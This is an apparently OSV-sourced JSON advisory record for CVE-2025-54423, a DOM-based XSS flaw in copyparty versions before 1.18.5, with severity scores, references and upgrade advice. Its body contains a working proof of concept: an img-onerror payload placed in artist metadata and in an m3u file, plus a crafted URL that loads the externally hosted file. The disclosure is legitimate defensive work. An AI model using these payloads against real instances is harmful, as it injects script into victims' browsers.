{"id":"CVE-2025-54423","aliases":["GHSA-9q4r-x2hj-jmvr","PYSEC-2026-1277"],"title":"copyparty has DOM-Based XSS vulnerability when displaying multimedia metadata","summary":"copyparty has DOM-Based XSS vulnerability when displaying multimedia metadata","severity":"medium","cvss":5.4,"cvssVector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N","vendor":"copyparty","product":"copyparty","ecosystem":"pip","affected":["copyparty < 1.18.5"],"patched":["copyparty 1.18.5"],"published":"2025-07-28","updated":"2026-07-07","source":"OSV","sourceUrl":"https://osv.dev/vulnerability/GHSA-9q4r-x2hj-jmvr","references":[{"url":"https://github.com/9001/copyparty/security/advisories/GHSA-9q4r-x2hj-jmvr"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2025-54423"},{"url":"https://github.com/9001/copyparty/commit/895880aeb0be0813ddf732487596633f8f9fc3a6"},{"url":"https://github.com/9001/copyparty"},{"url":"https://github.com/9001/copyparty/releases/tag/v1.18.5"}],"tags":["osv","pip"],"epss":0.00398,"epssPercentile":0.31181,"ingestedAt":"2026-07-08T18:25:48.066Z","slug":"CVE-2025-54423","body":"## Overview\n\n### Summary\n\nAn unauthenticated attacker is able to execute arbitrary JavaScript code in a victim's browser due to improper sanitization of multimedia tags in music files, including `m3u` files.\n\n### Details\n\nMultimedia metadata is rendered in the web-app without sanitization. This can be exploited in two ways:\n\n* a user which has the necessary permission for uploading files can upload a song with an artist-name such as `<img src=x onerror=alert(document.domain)>`\n* an unauthenticated user can trick another user into clicking a malicious URL, performing this same exploit using an externally-hosted m3u file\n\nThe CVE score and PoC is based on the m3u approach, which results in a higher severity.\n\n### PoC\n1.  Create a file named `song.m3u` with the following content. Host this file on an attacker-controlled web server.\n\n    ```m3u\n    #EXTM3U\n    #EXTINF:1,\"><img src=x onerror=alert(document.domain)> - \"><img src=x onerror=alert(document.domain)>\n    http://example.com/audio.mp3\n    ```\n\n2.  Craft and share the malicious URL:  \n\n    ```\n    http://127.0.0.1:3923/#m3u=https://example.com/song.m3u\n    ```\n\n\n### Impact\nAny user that accesses this malicious URL is impacted.\n\n## Affected packages\n\n- `copyparty < 1.18.5`\n\n## Remediation\n\nUpgrade to a patched release:\n\n- `copyparty 1.18.5`","depth":"sunlit","depthScore":30,"depthScoreParts":{"impact":29.7,"likelihood":0.1,"exploitation":0,"ransomware":0},"changes":[]}